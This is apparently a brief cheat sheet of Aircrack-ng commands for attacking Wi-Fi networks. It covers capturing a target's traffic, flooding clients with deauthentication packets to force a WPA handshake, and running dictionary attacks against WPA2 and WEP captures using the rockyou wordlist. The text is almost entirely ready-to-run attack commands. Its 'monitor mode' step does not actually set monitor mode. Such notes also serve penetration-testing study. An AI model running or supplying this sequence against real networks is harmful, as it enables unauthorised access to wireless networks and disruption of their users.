Aircrack-ng

Command to brutefore the WPA Handshakes using Aircrack-ng

aircrack-ng -a2 -b [Target BSSID] -w [wordlist] '[cap file]'

The above cmd is used to perform a dictionary attack to crack WPA2 encryption on a captured wireless network traffic file. It attempts to recover the WPA2 key using a wordlist.

• -a2: Specifies the attack mode for WPA2.

• -b [Target BSSID]: Specifies the MAC address (BSSID) of the target access point.

• -w /home/attacker/Desktop/Wordlist/password.txt: Specifies the path to the wordlist file to be used for the dictionary attack.

Setting up the monitor mode adapter

ifconfig wlan0 up
airodump-ng wlan0
airodump-ng --bssid "your bssid" --channel "your ch" --write file1 wlan0
aireplay-ng --deauth 100000 -a "your bssid" wlan0
wireshark "your filename.cap"
aircrack-ng "your filename.cap" -w /usr/share/wordlists/rockyou.txt

Cracking hashes stored in a file :

aircrack-ng [pcap file] (For cracking WEP network)
aircrack-ng -a2 -b [Target BSSID] -w [password_Wordlist.txt] [WP2 PCAP file] (For cracking WPA2 or other networks through the captured .pcap file)
